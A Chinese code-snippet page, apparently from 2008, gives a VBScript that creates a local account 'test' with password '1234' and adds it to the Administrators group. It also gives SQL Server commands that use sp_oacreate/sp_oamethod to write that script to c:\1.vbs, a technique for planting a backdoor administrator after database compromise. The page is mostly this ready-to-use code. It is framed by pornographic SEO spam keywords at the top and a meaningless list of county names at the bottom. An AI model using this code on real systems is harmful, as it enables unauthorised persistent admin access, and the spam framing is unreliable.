最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

vbs加administrator用戶的代碼

 更新時間:2008年08月01日 01:22:05   作者:  
使用ADSI的Winnt對象,Windows2000后面的系統(tǒng)都屬于NT系列

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","test") '建立用戶
od.SetPassword "1234" '設置密碼
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用戶
oe.add os&"/test"

SQL語句如下,采用sp_oamethod過程:

declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'

相關文章

最新評論

安远县| 晋宁县| 高邮市| 双峰县| 亚东县| 桐梓县| 株洲市| 孙吴县| 白银市| 碌曲县| 连平县| 甘南县| 兰州市| 万安县| 读书| 普定县| 华安县| 永济市| 柳州市| 建阳市| 八宿县| 宁化县| 丘北县| 湖州市| 长寿区| 化隆| 五峰| 诸暨市| 东兴市| 贡山| 仪征市| 平塘县| 阿拉善右旗| 平和县| 隆昌县| 和田县| 兴隆县| 海安县| 青阳县| 竹山县| 茶陵县|